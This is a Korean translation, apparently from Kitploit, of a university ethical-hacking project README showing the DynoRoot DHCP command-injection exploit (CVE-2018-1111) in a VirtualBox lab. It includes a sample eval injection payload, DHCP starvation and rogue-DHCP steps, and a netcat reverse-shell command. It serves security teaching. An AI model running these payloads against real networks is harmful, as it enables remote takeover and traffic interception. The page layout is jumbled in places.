FEP3370-advanced-ethical-hacking — DynoRoot(CVE-2018-1111)을 이용한 DHCP 악용 | Kitploit

<!-- omit in toc -->
#### 일반 작동
정상적인 상황에서는 코드가 문제없이 작동하여 새로운 DHCP 옵션을 파싱할 것입니다.
예를 들어, 다음 코드는:```bash
DHCP4_OPTION_ONE=42
DHCP4_OPTION_TWO="bla bla"

declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
  optname=${opt%%=*}
  optname=${optname,,}
  optname=new_${optname#dhcp4_}
  optvalue=${opt#*=}
  echo "export $optname=$optvalue"
done

<!-- omit in toc -->
#### 코드 삽입
그러나 안전하지 않은 `eval`로 인해 bash 명령을 주입할 수 있습니다:```bash
DHCP4_OPTION_ONE="x'& echo Hacked! #"
DHCP4_OPTION_TWO='bla bla'

eval "$(                             
  declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
    optname=${opt%%=*}
    optname=${optname,,}
    optname=new_${optname#dhcp4_}
    optvalue=${opt#*=}
    echo "export $optname=$optvalue"
  done
)"

### 소스
- [Exploit 데이터베이스 항목](https://www.exploit-db.com/exploits/44890)
- [RedHat 공지](https://access.redhat.com/security/vulnerabilities/3442151)
- [Tenable 블로그 게시물](https://www.tenable.com/blog/advisory-red-hat-dhcp-client-command-injection-trouble)
- [GitHub 저장소](https://github.com/kkirsche/CVE-2018-1111)
- [Twitter 공지](https://twitter.com/_fel1x/status/996388421273882626?lang=en)

## 설정
익스플로잇을 시연하기 위한 최소 설정은 단 두 대의 머신으로 구성됩니다: Fedora 28을 실행하는 `victim` 머신과 `attacker` 머신입니다. 이 설정에서 공격자는 DHCP 서비스를 제공하고 피해자의 연결을 기다리기만 하면 됩니다.

<figure style="text-align:center">
  <img src="https://raw.githubusercontent.com/baldassarrefe/fep3370-advanced-ethical-hacking/HEAD/media/network_simple.svg" style="max-width:400px;" width="90%"/>
  <figcaption>최소 익스플로잇 설정.</figcaption>
</figure>

더 현실적인 설정은 머신들을 사설 네트워크에 배치하고, 세 번째 머신인 `gateway`를 정상적인 DHCP 서버이자 외부 인터넷으로의 게이트웨이로 구성하는 것입니다. 이 설정에서 공격자는 공격을 수행하기 전에 피해자가 정당한 DHCP 서버에 연결하지 못하도록 차단해야 합니다.

<figure style="text-align:center">
  <img src="https://raw.githubusercontent.com/baldassarrefe/fep3370-advanced-ethical-hacking/HEAD/media/network.svg" style="max-width:800px;" width="90%"/>
  <figcaption>게이트웨이 머신 하나가 DHCP, 라우터 및 방화벽 역할을 하는 사설 네트워크 설정.</figcaption>
</figure>

다음 섹션에서는 다음을 수행합니다:
1. VirtualBox 설치
2. 가상 머신 3대 생성: `gateway`, `attacker`, `victim`
3. 머신에 OS 설치 (사용자, 네트워크 및 SSH 접근)
4. VirtualBox가 제공하는 가상 내부 네트워크에 대해
   정상적인 DHCP 서버를 호스팅하도록 `gateway` 구성
5. 공격을 위한 Python 종속성 설치

수동 설정을 건너뛰고 [바로 실행](#performing-the-attack)하려면 `ansible` 폴더의
[`setup.sh`](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/ansible/setup.sh) 스크립트를 실행하면 됩니다. 이 스크립트는 (거의)
자동으로 가상 머신을 생성하고 [Ansible Roles](https://docs.ansible.com/ansible/latest/user_guide/playbooks_reuse_roles.html)를
사용하여 구성합니다. `setup.sh`를 실행하기 전에 Ansible과 VirtualBox가 설치되어 있는지 확인하세요.

### 사전 준비

#### VirtualBox 설치
다음 지침은 [공식 설치 가이드](https://www.virtualbox.org/wiki/Downloads)에서 가져온 것입니다.

`/etc/apt/sources.list`에 다음 줄을 추가합니다:```bash
deb [arch=amd64] 'https://download.virtualbox.org/virtualbox/debian' bionic contrib

#### Ansible 설치 (선택 사항)
[Ubuntu 공식 가이드](https://docs.ansible.com/ansible/latest/installation_guide/intro_installation.html#installing-ansible-on-ubuntu)에서:```bash
sudo apt update
sudo apt install software-properties-common
sudo apt-add-repository --yes --update ppa:ansible/ansible
sudo apt install ansible

SSH config(`~/.ssh/config`)에 다음 항목을 추가하세요:```
Host gateway.ethhack
  Port 6001
  User gateway   

Host victim.ethhack
  Port 6002
  User victim

Host attacker.ethhack
  Port 6003
  User attacker

Host *.ethhack
  LogLevel ERROR
  HostName localhost
  IdentityFile ~/.ssh/ethhack
  StrictHostKeyChecking no
  UserKnownHostsFile /dev/null

VM 생성:
- 네트워크 인터페이스 1은 VirtualBox의 기본 NAT 네트워크에 연결
- 네트워크 인터페이스 2는 `intnet` 내부 네트워크에 연결\
  (MAC 주소의 "d"는 DHCP를 의미합니다)
- 호스트의 `600x` 포트에서 가상 머신의 SSH 포트로 포트 포워딩```bash
VM_NAME="gateway"
VRDE_PORT=5001
SSH_PORT=6001
VM_MAC='08:00:dd:dd:dd:dd'

VBoxManage createvm --name "${VM_NAME}" --ostype Ubuntu_64 --register
VBoxManage modifyvm "${VM_NAME}" \
  --memory 2048 \
  --acpi on \
  --boot1 dvd \
  --nic1 nat \
  --nic2 'intnet' \
  --macaddress2 "${VM_MAC//:/}" \
  --natpf1 "guestssh,tcp,,${SSH_PORT},,22" \
  --audio none

VBoxManage createhd disk --filename "${VM_NAME}.vdi" --size 10000
VBoxManage storagectl "${VM_NAME}" --name "IDE Controller" --add ide --controller PIIX4
VBoxManage storageattach "${VM_NAME}" \
  --storagectl "IDE Controller" \
  --port 0 \
  --device 0 \
  --type hdd \
  --medium "${VM_NAME}.vdi"

VBoxManage storageattach "${VM_NAME}" \
  --storagectl "IDE Controller" \
  --port 0 \
  --device 1 \
  --type dvddrive \
  --medium "$(realpath ubuntu-18.04.5-live-server-amd64.iso)"

#### OS 설치
머신을 처음 부팅할 때 설치 단계를 진행하려면 가상 데스크톱이 필요합니다. 가상 머신을
headless 모드로 시작하고 `rdesktop-vrdp`를 사용하여 연결할 수 있습니다. VirtualBox가
데스크톱 컴퓨터에서 실행 중이라면 GUI에서 가상 머신을 시작하는 것이 더 쉬울 수 있지만,
이 방법은 원격 VirtualBox 호스트에서도 작동합니다.```bash
VBoxHeadless --startvm "${VM_NAME}" --vrde on --vrdeproperty "TCP/Ports=${VRDE_PORT}" &
sleep 5
rdesktop-vrdp "localhost:${VRDE_PORT}"
kill %%

#### SSH 로그인
접근을 쉽게 하기 위해 위에서 생성한 SSH 키를 `gateway` 머신에 설치할 수 있습니다:```bash
VBoxHeadless --startvm "${VM_NAME}" &
sleep 5
ssh-copy-id -i ~/.ssh/ethhack.pub gateway.ethhack
ssh gateway.ethhack

내부 인터페이스에서 DHCP를 활성화하려면 `/etc/default/isc-dhcp-server`를 편집합니다:```bash
sudo sed 's/INTERFACESv4=""/INTERFACESv4="enp0s8"/' -i /etc/default/isc-dhcp-server

선택된 기본 리스 시간 1분은 다소 낮지만, 데모 목적에는 유용합니다.

<!--```bash
echo '
authoritative;

default-lease-time 60;
max-lease-time 7200;

subnet 192.168.0.0 netmask 255.255.255.0 {
  range 192.168.0.100 192.168.0.105;
  option domain-name-servers 192.168.0.53;
  option domain-name "100waystocook.pizza.";
}
' | sudo tee /etc/dhcp/dhcpd.conf > /dev/null

sudo sed 's/INTERFACESv4=""/INTERFACESv4="enp0s8"/' -i /etc/default/isc-dhcp-server

sudo systemctl restart isc-dhcp-server

DHCP 이벤트는 `/var/log/syslog`에 기록됩니다. 
관련 항목은 다음과 같이 강조할 수 있습니다:```bash
tail -f /var/log/syslog | grep --line-buffered 'dhcpd' | grep -E 'dhcpd|attacker|fedora|'

`/etc/bind/named.conf.options` 수정:```bash
echo '
options {
  directory "/var/cache/bind";
  allow-query { any; };
  recursion no;
  listen-on { 192.168.0.53; };
};
' | sudo tee /etc/bind/named.conf.options > /dev/null

bind에 대해 읽기 전용인 폴더에 정방향 및 역방향 zone 파일을 생성하십시오:```bash
sudo install -o root -g bind -m 755 -d /etc/bind/zones

echo '
$TTL    86400 ; Clients will cache DNS responses for 1 day

@       IN      SOA     dns.100waystocook.pizza. admin.100waystocook.pizza. (
                  3     ; Serial
             604800     ; Refresh (1 week)
              86400     ; Retry   (1 day)
            2419200     ; Expire  (4 weeks)
             604800     ; Negative Cache TTL (4 weeks)
)                       ; The values above are only relevant for secondary DNS servers

; name servers
@       IN      NS      dns.100waystocook.pizza.

; 192.168.0.0/24
dns     IN      A       192.168.0.53
server  IN      A       192.168.0.1
www     IN      CNAME   server
mongo   IN      CNAME   server
' | sudo tee /etc/bind/zones/db.100waystocook.pizza > /dev/null

echo '
$TTL    604800
@       IN      SOA     dns.100waystocook.pizza. admin.100waystocook.pizza. (
                  4     ; Serial
             604800     ; Refresh
              86400     ; Retry
            2419200     ; Expire
             604800 )   ; Negative Cache TTL

; name servers
@     IN      NS      dns.100waystocook.pizza.

; PTR Records
1     IN      PTR     server.100waystocook.pizza.  ; 192.168.0.1
53    IN      PTR     dns.100waystocook.pizza.     ; 192.168.0.53
' | sudo tee /etc/bind/zones/db.192.168.0 > /dev/null

`/etc/bind/named.conf.local`에 키를 포함하세요:```bash
echo "
include '/etc/bind/${KEY_FILE_BIND}';

# Forward zone for 100waystocook.pizza
zone '100waystocook.pizza' {
  type master;
  file '/var/lib/bind/zones-dyn/db.100waystocook.pizza';
  notify no;

  # grant whoever owns the key the permission to update 
  # the A and TXT records for server.100waystocook.pizza.
  update-policy {
    grant ${KEY_NAME} name server.100waystocook.pizza. A TXT;
  };
};

# Reverse zone for 192.168.0.0/24
zone '0.168.192.in-addr.arpa' {
  type master;
  file '/var/lib/bind/zones-dyn/db.192.168.0';
  notify no;

  # grant whoever owns the key the permission to update 
  # the PTR record for IPs in within the reverse zone
  update-policy {
    grant ${KEY_NAME} zonesub PTR;
  };
};
" | tr \' \" | sudo tee /etc/bind/named.conf.local > /dev/null

검사를 실행하고 다시 시작하십시오:```bash
sudo named-checkconf
sudo named-checkzone 100waystocook.pizza    /var/lib/bind/zones-dyn/db.100waystocook.pizza
sudo named-checkzone 0.168.192.in-addr.arpa /var/lib/bind/zones-dyn/db.192.168.0

sudo systemctl restart bind9

##### DHCP 구성
DHCP가 DNS 항목을 자동으로 업데이트하도록 구성합니다:```bash
KEY_FILE_DHCP="${KEY_NAME}.key"

# Note: no " in key file
cat > "${KEY_FILE_DHCP}" << EOF
key ${KEY_NAME} {
  algorithm HMAC-SHA512;
  secret ${KEY_SECRET};
};
EOF

sudo install --owner root --group root --mode 0640 "${KEY_FILE_DHCP}" /etc/dhcp/ddns-keys/
rm "${KEY_FILE_DHCP}"

echo "
authoritative;

# https://kb.isc.org/docs/isc-dhcp-44-manual-pages-dhcpdconf
ddns-updates on;
ddns-update-style interim;
ddns-domainname '100waystocook.pizza.';
ddns-rev-domainname '0.168.192.in-addr.arpa.';
update-conflict-detection on;
ddns-guard-id-must-match;
ignore client-updates;

default-lease-time 120;
max-lease-time 7200;

include '/etc/dhcp/ddns-keys/${KEY_FILE_DHCP}';

zone 100waystocook.pizza. {
  primary dns.100waystocook.pizza. ;
  key ${KEY_NAME} ;
}

zone 0.168.192.in-addr.arpa. {
  primary dns.100waystocook.pizza. ;
  key ${KEY_NAME} ;
}

subnet 192.168.0.0 netmask 255.255.255.0 {
  range 192.168.0.1 192.168.0.20;
  option domain-name-servers 192.168.0.53;
  option domain-name '100waystocook.pizza.';
}
" | tr \' \" | sudo tee /etc/dhcp/dhcpd.conf > /dev/null

sudo systemctl restart isc-dhcp-server

호스트 이름이 `fedora`인 다른 머신이 시작되면 IP를 얻지만 `update-policy` 때문에 
DNS에 추가되지 않습니다:```
dhcpd[1366]: DHCPDISCOVER from 08:00:27:4e:d0:d2 via enp0s8
dhcpd[1366]: DHCPOFFER on 192.168.0.6 to 08:00:27:4e:d0:d2 (fedora) via enp0s8
dhcpd[1366]: DHCPREQUEST for 192.168.0.6 (192.168.0.53) from 08:00:27:4e:d0:d2 (fedora) via enp0s8
dhcpd[1366]: DHCPACK on 192.168.0.6 to 08:00:27:4e:d0:d2 (fedora) via enp0s8
named[1283]: client @0x7fef30041e40 192.168.0.53#42609/key ddns-key.100waystocook.pizza: 
             updating zone '100waystocook.pizza/IN': 
             update failed: rejected by secure update (REFUSED)
dhcpd[1366]: Unable to add forward map from fedora.100waystocook.pizza. to 192.168.0.6: REFUSED

하지만 정당한 `server`가 일정 시간 동안 다운되면 해당 임대(lease)가 해제되고 레코드가 제거됩니다.
그러면 공격자는 초기 DHCP 교환 중에 호스트 이름으로 `server`를 제공함으로써 쉽게 침투할 수 있습니다.```
# DHCP removes DNS records
named[1283]: client @0x7fef30041e40 192.168.0.53#43939/key ddns-key.100waystocook.pizza: 
             updating zone '100waystocook.pizza/IN': deleting an RR at server.100waystocook.pizza A
dhcpd[1366]: Removed forward map from server.100waystocook.pizza. to 192.168.0.3
named[1283]: client @0x7fef30057320 192.168.0.53#46231/key ddns-key.100waystocook.pizza: 
             updating zone '100waystocook.pizza/IN': deleting an RR at server.100waystocook.pizza TXT
named[1283]: client @0x7fef30041e40 192.168.0.53#54069/key ddns-key.100waystocook.pizza: 
             updating zone '0.168.192.in-addr.arpa/IN': deleting rrset at '3.0.168.192.0.168.192.in-addr.arpa' PTR
dhcpd[1366]: Removed reverse map on 3.0.168.192.0.168.192.in-addr.arpa.

# Attacker gets and IP and a DNS entry
dhcpd[1366]: DHCPDISCOVER from 08:00:27:4e:d0:d2 via enp0s8
dhcpd[1366]: DHCPOFFER on 192.168.0.2 to 08:00:27:4e:d0:d2 (server) via enp0s8
dhcpd[1366]: DHCPREQUEST for 192.168.0.2 (192.168.0.53) from 08:00:27:4e:d0:d2 (server) via enp0s8
dhcpd[1366]: DHCPACK on 192.168.0.2 to 08:00:27:4e:d0:d2 (server) via enp0s8
named[1283]: client @0x7fef30057320 192.168.0.53#56317/key ddns-key.100waystocook.pizza: 
             updating zone '100waystocook.pizza/IN': 
             adding an RR at 'server.100waystocook.pizza' A 192.168.0.2
named[1283]: client @0x7fef30057320 192.168.0.53#56317/key ddns-key.100waystocook.pizza: 
             updating zone '100waystocook.pizza/IN': 
             adding an RR at 'server.100waystocook.pizza' TXT "319dc6047844ea45fdc56373d08413401e"
dhcpd[1366]: Added new forward map from server.100waystocook.pizza. to 192.168.0.2
named[1283]: client @0x7fef30041e40 192.168.0.53#51689/key ddns-key.100waystocook.pizza: 
             updating zone '0.168.192.in-addr.arpa/IN': 
             deleting rrset at '2.0.168.192.0.168.192.in-addr.arpa' PTR
named[1283]: client @0x7fef30041e40 192.168.0.53#51689/key ddns-key.100waystocook.pizza: 
             updating zone '0.168.192.in-addr.arpa/IN': 
             adding an RR at '2.0.168.192.0.168.192.in-addr.arpa' PTR server.100waystocook.pizza.
dhcpd[1366]: Added reverse map from 2.0.168.192.0.168.192.in-addr.arpa. to server.100waystocook.pizza.

다음으로, GitHub에서 두 개의 공격 스크립트를 가져옵니다:
- **DHCP starvation**\
  이 스크립트는 정상적인 DHCP에 가짜 요청을 대량으로 보내
  사용 가능한 주소 풀을 고갈시킵니다.  ```bash
  git clone 'https://github.com/baldassarreFe/FEP3370-advanced-ethical-hacking'

Rogue DHCP
정상 DHCP가 주소를 모두 소진하면, 이 스크립트는 악성 매개변수가 포함된 DHCP offer를 제공할 준비가 됩니다. 이 스크립트는 원본 CVE)의 수정된 버전입니다: ```bash git clone 'https://github.com/baldassarreFe/CVE-2018-1111' --branch 'feature/ignore-mac'

VM 생성:
- 네트워크 인터페이스 1은 VirtualBox의 기본 NAT 네트워크에 연결됨
- 네트워크 인터페이스 2는 `intnet` 내부 네트워크에 연결됨\
  (MAC 주소의 "f"는 Fedora를 의미함)
- 호스트의 `600x` 포트를 가상 머신의 SSH 포트로 포트 포워딩```bash
VM_NAME="fedora"
VRDE_PORT=5003
SSH_PORT=6003
VM_MAC='08:00:ff:ff:ff:ff'

VBoxManage createvm --name "${VM_NAME}" --ostype Fedora_64 --register
VBoxManage modifyvm "${VM_NAME}" \
  --memory 2048 \
  --acpi on \
  --boot1 dvd \
  --nic1 nat \
  --nic2 'intnet' \
  --macaddress2 "${VM_MAC//:/}" \
  --natpf1 "guestssh,tcp,,${SSH_PORT},,22" \
  --audio none

VBoxManage createhd disk --filename "${VM_NAME}.vdi" --size 10000
VBoxManage storagectl "${VM_NAME}" --name "IDE Controller" --add ide --controller PIIX4
VBoxManage storageattach "${VM_NAME}" \
  --storagectl "IDE Controller" \
  --port 0 \
  --device 0 \
  --type hdd \
  --medium "${VM_NAME}.vdi"

VBoxManage storageattach "${VM_NAME}" \
  --storagectl "IDE Controller" \
  --port 0 \
  --device 1 \
  --type dvddrive \
  --medium "$(realpath Fedora-Server-dvd-x86_64-28-1.1.iso)"

#### OS 설치
처음으로 머신을 부팅할 때는 설치 단계를 진행하기 위해 가상 데스크톱이 필요합니다. 가상 머신을 헤드리스 모드로 시작하고 `rdesktop-vrdp`를 사용하여 연결할 수 있습니다. VirtualBox가 데스크톱 컴퓨터에서 실행 중이라면 GUI에서 가상 머신을 실행하는 것이 더 쉬울 수 있지만, 이 방법은 원격 VirtualBox 호스트에서도 작동합니다.```bash
VBoxHeadless --startvm "${VM_NAME}" --vrde on --vrdeproperty "TCP/Ports=${VRDE_PORT}" &
sleep 12 # Fedora is slow...
rdesktop-vrdp "localhost:${VRDE_PORT}"
kill %%

#### SSH 로그인
편의를 위해 위에서 생성한 SSH 키를 `victim` 머신에 설치할 수 있습니다:```bash
VBoxHeadless --startvm "${VM_NAME}" &
sleep 5
ssh-copy-id -i ~/.ssh/ethhack.pub victim.ethhack
ssh victim.ethhack

그렇지 않으면, 다음을 사용하여 구성할 수 있습니다:```
sudo nmcli connection down   enp0s8
sudo nmcli connection modify enp0s8 IPv4.method auto
sudo nmcli connection modify enp0s8 IPv4.address ''
sudo nmcli connection up     enp0s8

## 공격 수행

다음 단계를 순서대로 실행하면 DHCP 공격을 시연할 수 있습니다.
[Byobu](https://www.byobu.org/)와 같은 터미널 멀티플렉서를 설정하여 
한 머신에서 다른 머신으로 쉽게 이동할 수 있도록 하는 것이 좋습니다.

공격 전:
1. 3개의 가상 머신을 실행하면 자동으로 정상 DHCP에 연결됩니다.
2. Fedora 머신을 분리하고 DHCP 임대 파일을 정리하여 새 연결을 시뮬레이션합니다.
3. DHCP 서버를 다시 시작하여 새 연결을 시뮬레이션합니다.

공격 자체는 다음으로 구성됩니다:
1. 공격자가 일련의 가짜 DHCP REQUEST를 발생시켜 정상 DHCP 서버를 _고갈_시킵니다.
2. 피해자에게 악성 OFFER를 보낼 불량 DHCP 서버를 시작합니다.
3. Fedora 머신을 다시 연결하고 NetworkManager가 DHCP DISCOVER를 브로드캐스트할 때까지 기다립니다.
4. 리버스 셸이 연결될 때까지 기다립니다.

문제가 발생하면 관련 서비스를 모두 중지하고 처음부터 다시 시작하세요.

### Gateway
이전 DHCP 임대와 ARP 테이블을 정리한 다음 DHCP를 다시 시작하십시오:```bash
sudo systemctl stop isc-dhcp-server
sudo rm /var/lib/dhcp/dhcpd.leases*
sudo ip link set arp off dev enp0s8
sudo ip link set arp on dev enp0s8

sudo systemctl start isc-dhcp-server
tail -f /var/log/syslog | grep --line-buffered 'dhcpd' | grep -E 'dhcpd|attacker|fedora|'

DHCP 고갈 공격 실행(`root`로 실행):```
sudo su && cd && conda activate dynoroot
python FEP3370-advanced-ethical-hacking/starver.py \
  --interface  enp0s8 \
  --pool-start 192.168.0.100 \
  --pool-end   192.168.0.105

공격 실행 (`root`로 실행):```bash
sudo su && cd && conda activate dynoroot
MY_IP=$(ip -f inet addr show enp0s8 | awk '/inet / {print $2}' | cut -d'/' -f1)
MY_MAC=$(ip link show enp0s8 | awk '/link\/ether / {print $2}' | cut -d'/' -f1)
python CVE-2018-1111/main.py \
  -i enp0s8 \
  -s 192.168.0.0/24 \
  -g 192.168.0.1 \
  -d 'victim.net' \
  -m "${MY_MAC}" \
  -p "nc -e /bin/bash ${MY_IP} 1337"

### 분석

#### 비디오 캡처
다음 [비디오](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/media/dynoroot.mp4)는 위의 단계에 따른 공격 실행을 보여줍니다. 
비디오에서 다음을 관찰할 수 있습니다:
1. `gateway`와 `attacker` 사이의 4-way DHCP 교환
2. DHCP 고갈 공격. `attacker`의 콘솔과 DHCP 서버 로그 양쪽에서 확인할 수 있습니다
   (`attacker`의 기존 임대로 인한 `NACK`에 유의).
3. `victim`이 DHCP `DISCOVER`를 브로드캐스트할 때 `gateway`가 표시하는 "no free leases" 메시지
4. `192.168.0.2`를 제공하는 rogue DHCP 서버의 조작된 DHCP 메시지
5. netcat이 `192.168.0.2`로부터 reverse shell 연결을 수신했다는 확인
6. `victim`이 수신한 가짜 DNS 옵션,
   즉 DNS 주소 `192.168.0.1` 및 도메인 `victim.net`
7. victim 머신에서 간단한 명령의 원격 코드 실행 성공
8. 공격 종료 시 전송된 DHCP `RELEASE`

<a href="https://youtu.be/rgjMzQ5ExyA">
  <img src="https://assets.kitploit.com/production/public/readmes/23114/de82a8bbb23835dcc4d0836fe7f906d9610b860d02a0e92b903191be840a799c.gif" style="position:relative; left:50%; transform:translateX(-50%); max-width:1000px;" width="90%">
</a>

#### 트래픽 분석

공격 추적을 담은 [캡처 파일](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/media/attack.pcap)은
[Wireshark](https://wiki.wireshark.org/DHCP)에서 분석할 수 있습니다. 캡처에서 다음을 확인할 수 있습니다:
1. `gateway`와 `attacker` 사이의 4-way DHCP 교환
2. DHCP 고갈 공격
3. `victim`이 시작하고 `attacker`가 완료한 DPCH 교환
4. `victim`이 `attacker`의 netcat 세션에 연결했을 때의 ARP _who-has_ 요청 및 응답

<figure style="text-align:center">
  <img src="https://assets.kitploit.com/production/public/readmes/23114/4503aa77c165c6b2b669f178171dbea60d054b88b56f5d857918fd257e2c6b94.png" style="max-width:800px;" width="90%"/>
  <figcaption>공격의 패킷 캡처로, 익스플로잇과 관련된 DHCP 옵션이 강조되어 있습니다. MAC 주소의 문자는 <code>d</code> DHCP 서버, <code>a</code> 공격자, <code>f</code> Fedora 피해자를 나타냅니다.</figcaption>
</figure>

## 향후 작업
DynoRoot는 오래된 Fedora 및 RedHat 배포판을 대상으로 하며, 최신 릴리스에서는 패치되었습니다.
따라서 이 익스플로잇을 실제 환경에서 수행할 가능성은 제한적입니다. 다행히도 DHCP 공격은
원격 코드 실행에 국한되지 않습니다. 어떤 유형의 조작된 옵션이라도 클라이언트가 수락하게 되며,
DynoRoot 취약점의 존재 여부와는 무관합니다. 이 동작을 악용하는 가장 간단한 방법은
공격자가 제어하는 머신을 네트워크 게이트웨이 또는 특정 영역의 DNS로 광고하여
이후의 모든 트래픽을 모니터링하고 검사하며 다시 라우팅할 수 있게 하는 것입니다.

또 다른 흥미로운 방향은 DHCP 고갈 공격에 관한 것입니다. 이 프로젝트에서 제시한 공격은
스푸핑된 MAC 주소로 DHCP 서버에 `REQUESTS`를 플러딩하는 방식에 의존하며, 이는
은밀하다고 볼 수 없습니다. 이 블로그 게시물은 
[단 하나의 DHCP 패킷도 보내지 않고 고갈 공격을 수행하는 방법](https://medium.com/bugbountywriteup/dhcp-starvation-attack-without-making-any-dhcp-requests-bef0022133c9) 
대신 스푸핑된 ARP 응답에 의존하는 가능성을 탐구합니다.

## 크레딧
[CVE-2018-1111](https://access.redhat.com/security/vulnerabilities/3442151)은 Google 보안 팀의
[Felix Wilhelm](https://twitter.com/_fel1x)에 의해 Red Hat에 보고되었습니다.

익스플로잇을 수행하는 파이썬 스크립트는 [Kevin Kirsche](https://github.com/kkirsche)의
GitHub [저장소](https://github.com/kkirsche/CVE-2018-1111)에서 가져왔으며,
공격자 자신의 MAC 주소를 무시하도록 약간 수정되었습니다.

FEP3370-advanced-ethical-hacking

인기

소개

배경

취약점

Common SSH setup

게이트웨이 머신

VM 생성

DHCP 서버

Forward zone for 100waystocook.pizza

Reverse zone for 192.168.0.0/24

DHCP 서버가 DNS 항목을 자동으로 업데이트하도록 설정

Bind 설정

수동 점검

결과

DHCP handshake

DNS update

DHCP renewal

DHCP handshake with attacker

DNS update denied

Fedora 피해자

VM 생성

네트워킹

공격자

희생자

FEP3370-advanced-ethical-hacking

인기

DynoRoot CVE-2018-1111

KTH(스톡홀름)의 Advanced Ethical Hacking 과정의 기말 프로젝트입니다

목차:

소개

배경

취약점

Common SSH setup

게이트웨이 머신

VM 생성

DHCP 서버

Forward zone for 100waystocook.pizza

Reverse zone for 192.168.0.0/24

DHCP 서버가 DNS 항목을 자동으로 업데이트하도록 설정

Bind 설정

수동 점검

결과

DHCP handshake

DNS update

DHCP renewal

DHCP handshake with attacker

DNS update denied

Fedora 피해자

VM 생성

네트워킹

공격자

희생자